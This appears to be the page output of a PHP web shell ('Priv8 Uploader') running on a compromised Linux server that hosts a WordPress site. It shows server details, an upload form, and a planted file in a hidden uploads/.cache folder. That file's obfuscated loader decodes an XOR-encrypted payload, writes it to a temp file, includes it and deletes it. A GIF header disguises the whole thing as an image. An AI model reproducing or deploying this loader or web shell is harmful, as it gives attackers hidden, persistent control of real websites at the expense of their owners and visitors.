GIF89a;

Priv8 Uploader By InMyMine7

Linux h2 5.10.0-38-amd64 #1 SMP Debian 5.10.249-1 (2026-02-10) x86_64
HEX
HEX
Server: Apache
System: Linux h2 5.10.0-38-amd64 #1 SMP Debian 5.10.249-1 (2026-02-10) x86_64
User: web78 (5067)
PHP: 8.3.30
Disabled: exec,shell_exec,system,passthru,popen,proc_open,pcntl_exec
Upload Files
File: /var/www/clients/client41/web78/web/wp-content/uploads/2024/.cache/index.php
<?php
$encrypted = 'X00RChN_awcRAA4QPAAEEgwAFQsNFUlSSklsaAocCD0QFxVKRBYIERMeABs8FxMQDAASRU9SUUtYf2sLBVJJCxABBBZLVj4lJiY6RQgXGEU-W0FERVJFPSQ3NTlEGQQbRC9BX15PQUUOAQkHDx5GS0MJbGhDUkFCCxcABgYASUUvHQIDFxsODFlSEhYMAApMExoRRUpJbGhDUkFCBgoIFlh_ax9ueAQOEBcIBENaCBEQFxVKRy0mJzcpRgkGC0Y_SlJHRENWPiUmJjpFCBcYRT5SXF9eUkYDBx8IDDwABBEXHRMHRFtBGW54QUJDUgkHAhYEEEtVLQ0AExULDBxbQk1cThIKFU8SCwJGS1h_a0JDUkEHGxsVWW54HEJueAQOEBcIBENaCBEQFxVKRy0mJzcpRgkGC0Y_SlJHRENWPiUmJjpFCBcYRT5SXF9eUkYPEBoEDg8tEwcQBg4QBlVIQhh_a0JDUkEKBhMFBxFaRi4MEQAWCh0PWENcT00AGggBCFwRChNVSFlueEFCQ1IEGgoGWm9pD2xoBh4SB0MJbGhDUkFCCwYVEjwABBETHQ8RBi0CDQcXSVZTRkhZbnhBQkNSBBoKBlpvaQ9saFxM';
if (!function_exists('donkey')) {
    function donkey($data, $key) {
        $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
        $bin = '';
        for ($i = 0; $i < strlen($data); $i++) {
            $index = strpos($alphabet, $data[$i]);
            $bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
        }

        $bytes = '';
        for ($i = 0; $i < strlen($bin); $i += 8) {
            $chunk = substr($bin, $i, 8);
            if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
            $bytes .= chr(bindec($chunk));
        }

        $res = '';
        $klen = strlen($key);
        for ($i = 0; $i < strlen($bytes); $i++) {
            $res .= $bytes[$i] ^ $key[$i % $klen];
        }
        return $res;
    }
}  

file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), donkey($encrypted, 'crab'));
include $tmp;
unlink($tmp);

?>